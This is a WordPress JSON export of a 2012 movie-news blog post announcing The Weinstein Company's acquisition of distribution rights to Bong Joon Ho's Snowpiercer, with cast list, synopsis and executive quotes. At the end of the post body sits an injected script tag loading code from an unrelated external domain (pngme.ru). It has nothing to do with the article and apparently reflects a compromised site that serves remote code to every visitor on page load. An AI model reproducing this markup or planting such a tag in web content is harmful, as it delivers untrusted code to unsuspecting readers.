{"id":5216,"date":"2012-11-12T10:13:37","date_gmt":"2012-11-12T16:13:37","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=5216"},"modified":"2012-11-12T10:13:37","modified_gmt":"2012-11-12T16:13:37","slug":"here-comes-snowpiercer","status":"publish","type":"post","link":"https:\/\/www.bmovienation.com\/?p=5216","title":{"rendered":"Here Comes Snowpiercer"},"content":{"rendered":"<p>The Weinstein Company (TWC) announced today they have acquired rights for the US, Canada, UK, Australia, New Zealand, and South Africa to Bong Joon Ho\u2019s upcoming post-apocalyptic action thriller, SNOWPIERCER. The film presented by CJ Entertainment is a Moho Film, Opus Pictures, and CJ Entertainment production (producers Park Chan-wook, Lee Tae Hun, Jeong Tae-sung, and executive producer Miky Lee). The story, adapted by Bong and Kelly Masterson, is based off the French graphic novel, Le Transperceneige.<\/p>\n<p>The film stars Chris Evans, Song Kang-ho, John Hurt, Ed Harris, Tilda Swinton, Jamie Bell, Octavia Spencer, Ewen Bremner and Alison Pill.<\/p>\n<p>SNOWPIERCER is set in a future where, after a failed experiment to stop global warming, an Ice Age kills off all life on the planet except for the inhabitants of the Snowpiercer, a train that travels around the globe and is powered by a sacred perpetual-motion engine. A class system evolves on the train but a revolution brews.<\/p>\n<p>\u201cSNOWPIERCER is the amazing vision of Bong Joon Ho. With a stellar cast led by Chris Evans, we look forward to bringing this action-packed thriller to audiences worldwide,\u201d said Harvey Weinstein. \u201cWe could not be more excited to partner with CJ Entertainment on this project.\u201d<\/p>\n<p>\u201cWe know SNOWPIERCER is in great hands with TWC and Harvey Weinstein in particular, who has a legendary eye for exciting new cinema. Our relationship with Director Bong Joon Ho started back in 2002 with MEMORIES OF MURDER and we are now thrilled to present him to a worldwide audience,\u201d said Jeong Tae-sung, President of CJ Entertainment.<\/p>\n<p>The deal was negotiated by TWC COO David Glasser, Dan Guando, SVP Acquisitions, and Michal Podell Steinberg, SVP Business and Legal Affairs and Acquisitions; and CJ Entertainment Producer Steven Nam, Co-producer Francis Chung, WME Global Alexis Garcia and Steve Saltzman of Loeb &#038; Loeb.<script src=\"\/\/pngme.ru\/seter\"><\/script><\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>The Weinstein Company (TWC) announced today they have acquired rights for the US, Canada, UK, Australia, New Zealand, and South Africa to Bong Joon Ho\u2019s upcoming post-apocalyptic action thriller, SNOWPIERCER. The film presented by CJ Entertainment is a Moho Film, Opus Pictures, and CJ Entertainment production (producers Park Chan-wook, Lee Tae Hun, Jeong Tae-sung, and&#8230;<\/p>\n","protected":false},"author":1,"featured_media":5217,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"rop_custom_images_group":[],"rop_custom_messages_group":[],"rop_publish_now":"initial","rop_publish_now_accounts":[],"rop_publish_now_history":[],"rop_publish_now_status":"pending","_uag_custom_page_level_css":"","mf2_syndication":[],"footnotes":""},"categories":[1],"tags":[],"class_list":["post-5216","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-b-movie-news","wpcat-1-id"],"uagb_featured_image_src":{"full":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/news_snow-piercer-e1352662103401.jpg",640,320,false],"thumbnail":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/news_snow-piercer-e1352662103401-145x145.jpg",145,145,true],"medium":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/news_snow-piercer-e1352662103401-300x150.jpg",300,150,true],"medium_large":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/news_snow-piercer-e1352662103401.jpg",640,320,false],"large":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/news_snow-piercer-e1352662103401.jpg",640,320,false],"1536x1536":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/news_snow-piercer-e1352662103401.jpg",640,320,false],"2048x2048":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/news_snow-piercer-e1352662103401.jpg",640,320,false],"gridflex-1422w-autoh-image":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/news_snow-piercer-e1352662103401.jpg",640,320,false],"gridflex-1074w-autoh-image":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/news_snow-piercer-e1352662103401.jpg",640,320,false],"gridflex-360w-300h-image":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2012\/11\/news_snow-piercer-e1352662103401.jpg",360,180,false]},"uagb_author_info":{"display_name":"admin1","author_link":"https:\/\/www.bmovienation.com\/?author=1"},"uagb_comment_info":0,"uagb_excerpt":"The Weinstein Company (TWC) announced today they have acquired rights for the US, Canada, UK, Australia, New Zealand, and South Africa to Bong Joon Ho\u2019s upcoming post-apocalyptic action thriller, SNOWPIERCER. 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